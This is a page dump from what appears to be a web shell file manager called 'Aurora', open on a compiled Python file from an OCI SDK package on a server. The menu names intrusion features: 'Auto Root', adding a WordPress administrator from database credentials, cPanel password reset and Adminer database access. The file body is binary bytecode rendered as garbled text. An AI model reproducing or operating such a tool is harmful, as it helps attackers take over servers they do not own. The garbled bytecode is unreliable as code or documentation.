Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
opsi
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: data_object_column_unit.cpython-39.pyc
a ���f� � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdZdZdZdZdZdZ dZ d Zd Zdd� Z ed d� �Zedd� �Zejdd� �Zedd� �Zejdd� �Zdd� Zdd� Zdd� ZdS )�DataObjectColumnUnitz/ Unit details of a data object column. � DATA_SIZE�TIME�POWER�TEMPERATURE�CORE�RATE� FREQUENCY�OTHER_STANDARD�CUSTOMc K s( ddd�| _ ddd�| _d| _d| _dS )a Initializes a new DataObjectColumnUnit object with values from keyword arguments. This class has the following subclasses and if you are using this class as input to a service operations then you should favor using a subclass over the base class: * :class:`~oci.opsi.models.DataObjectCoreColumnUnit` * :class:`~oci.opsi.models.DataObjectTimeColumnUnit` * :class:`~oci.opsi.models.DataObjectOtherStandardColumnUnit` * :class:`~oci.opsi.models.DataObjectCustomColumnUnit` * :class:`~oci.opsi.models.DataObjectTemperatureColumnUnit` * :class:`~oci.opsi.models.DataObjectPowerColumnUnit` * :class:`~oci.opsi.models.DataObjectRateColumnUnit` * :class:`~oci.opsi.models.DataObjectFrequencyColumnUnit` * :class:`~oci.opsi.models.DataObjectDataSizeColumnUnit` The following keyword arguments are supported (corresponding to the getters/setters of this class): :param unit_category: The value to assign to the unit_category property of this DataObjectColumnUnit. Allowed values for this property are: "DATA_SIZE", "TIME", "POWER", "TEMPERATURE", "CORE", "RATE", "FREQUENCY", "OTHER_STANDARD", "CUSTOM", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type unit_category: str :param display_name: The value to assign to the display_name property of this DataObjectColumnUnit. :type display_name: str �str)� unit_category�display_name�unitCategoryZdisplayNameN)Z swagger_typesZ attribute_map�_unit_category� _display_name)�self�kwargs� r �K/usr/lib/python3.9/site-packages/oci/opsi/models/data_object_column_unit.py�__init__6 s ��zDataObjectColumnUnit.__init__c C s| | d }|dkrdS |dkr dS |dkr,dS |dkr8d S |d krDdS |dkrPd S |dkr\dS |dkrhdS |dkrtdS dS dS )z� Given the hash representation of a subtype of this class, use the info in the hash to return the class of the subtype. r r ZDataObjectCoreColumnUnitr ZDataObjectTimeColumnUnitr Z!DataObjectOtherStandardColumnUnitr ZDataObjectCustomColumnUnitr ZDataObjectTemperatureColumnUnitr ZDataObjectPowerColumnUnitr ZDataObjectRateColumnUnitr ZDataObjectFrequencyColumnUnitr ZDataObjectDataSizeColumnUnitr Nr )Zobject_dictionary�typer r r �get_subtype_ s( z DataObjectColumnUnit.get_subtypec C s | j S )a� **[Required]** Gets the unit_category of this DataObjectColumnUnit. Category of the column's unit. Allowed values for this property are: "DATA_SIZE", "TIME", "POWER", "TEMPERATURE", "CORE", "RATE", "FREQUENCY", "OTHER_STANDARD", "CUSTOM", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The unit_category of this DataObjectColumnUnit. :rtype: str )r �r r r r r � s z"DataObjectColumnUnit.unit_categoryc C s g d�}t ||�sd}|| _dS )z� Sets the unit_category of this DataObjectColumnUnit. Category of the column's unit. :param unit_category: The unit_category of this DataObjectColumnUnit. :type: str ) r r r r r r r r r ZUNKNOWN_ENUM_VALUEN)r r )r r Zallowed_valuesr r r r � s c C s | j S )z� Gets the display_name of this DataObjectColumnUnit. Display name of the column's unit. :return: The display_name of this DataObjectColumnUnit. :rtype: str �r r r r r r � s z!DataObjectColumnUnit.display_namec C s || _ dS )z� Sets the display_name of this DataObjectColumnUnit. Display name of the column's unit. :param display_name: The display_name of this DataObjectColumnUnit. :type: str Nr )r r r r r r � s c C s t | �S �N)r r r r r �__repr__� s zDataObjectColumnUnit.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__� s zDataObjectColumnUnit.__eq__c C s | |k S r r r"